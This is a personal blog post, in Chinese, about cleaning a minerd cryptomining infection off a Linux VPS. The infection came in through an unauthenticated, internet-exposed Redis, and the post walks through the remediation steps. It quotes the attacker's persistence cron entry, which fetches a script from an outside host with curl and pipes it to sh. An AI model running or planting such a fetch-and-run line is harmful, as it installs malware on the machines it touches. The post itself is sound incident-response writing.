08 03

Linux服务器上查杀木马经历

收到VPS服务商的邮件,警告说我的VPS服务器的负载过高,已经被暂时关闭了,让我赶快处理解决。

Suspend Reason: High Load Avg - 23.13 / 23.17 / 23.16

很是诧异,这个VPS就放了一个博客和两个小站点,平时也没啥访问,怎么会导致负载高呢。

解决过程

急忙登陆上了vps,发现连接特别慢,马上top查看下,输入P进行按照CPU排序。

多了个CPU占用特别高的陌生程序minerd,明显是被挂马了,网上搜索了下,发现这个是个挖矿程序,被攻击了。

使用kill -9 pid 明显杀掉进程,但是马上又自动运行了,应该有其他守护程序还在运行。

再次ps -aux 查看了下进程,没有发现什么异常的进程,我的进程数不多,开启的服务也比较少,比较集中的程序是在/etc/inti.d/ 目录,进去使用ll -a查看了下,发现ntp服务在前两天被修改过,和minerd的时间刚好匹配上。

马上kill掉这个程序,在kill minerd,发现终于恢复正常了。

木马彻底清除

  • 检查定时任务列表,发现多了个*/10 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh,马上删除处理。注意,这里需要删除/var/spool/cron/root/var/spool/cron/crontabs/root 两个文件中的。
  • 检查开机启动程序,chkconfig --list 查看是否有多余的程序,chkconfig --del ntp删除刚刚的木马程序。
  • rm -f /etc/init.d/ntprm -f /usr/sbin/ntp, 另外删除minerd程序rm -f /opt/minerd
  • 删除无需密码ssh登陆文件,防止被利用再次登陆,echo "" > ~/.ssh/authorized_keys

被入侵定位

是redis被攻击,没有开启密码验证,以及默认配置开放了外网。之前就有报过redis漏洞问题,但是我一直没用到redis,所以一直也没管,没想到因为装了redis做测试,这次被入侵了。

Redis 未授权访问配合 SSH key 文件利用分析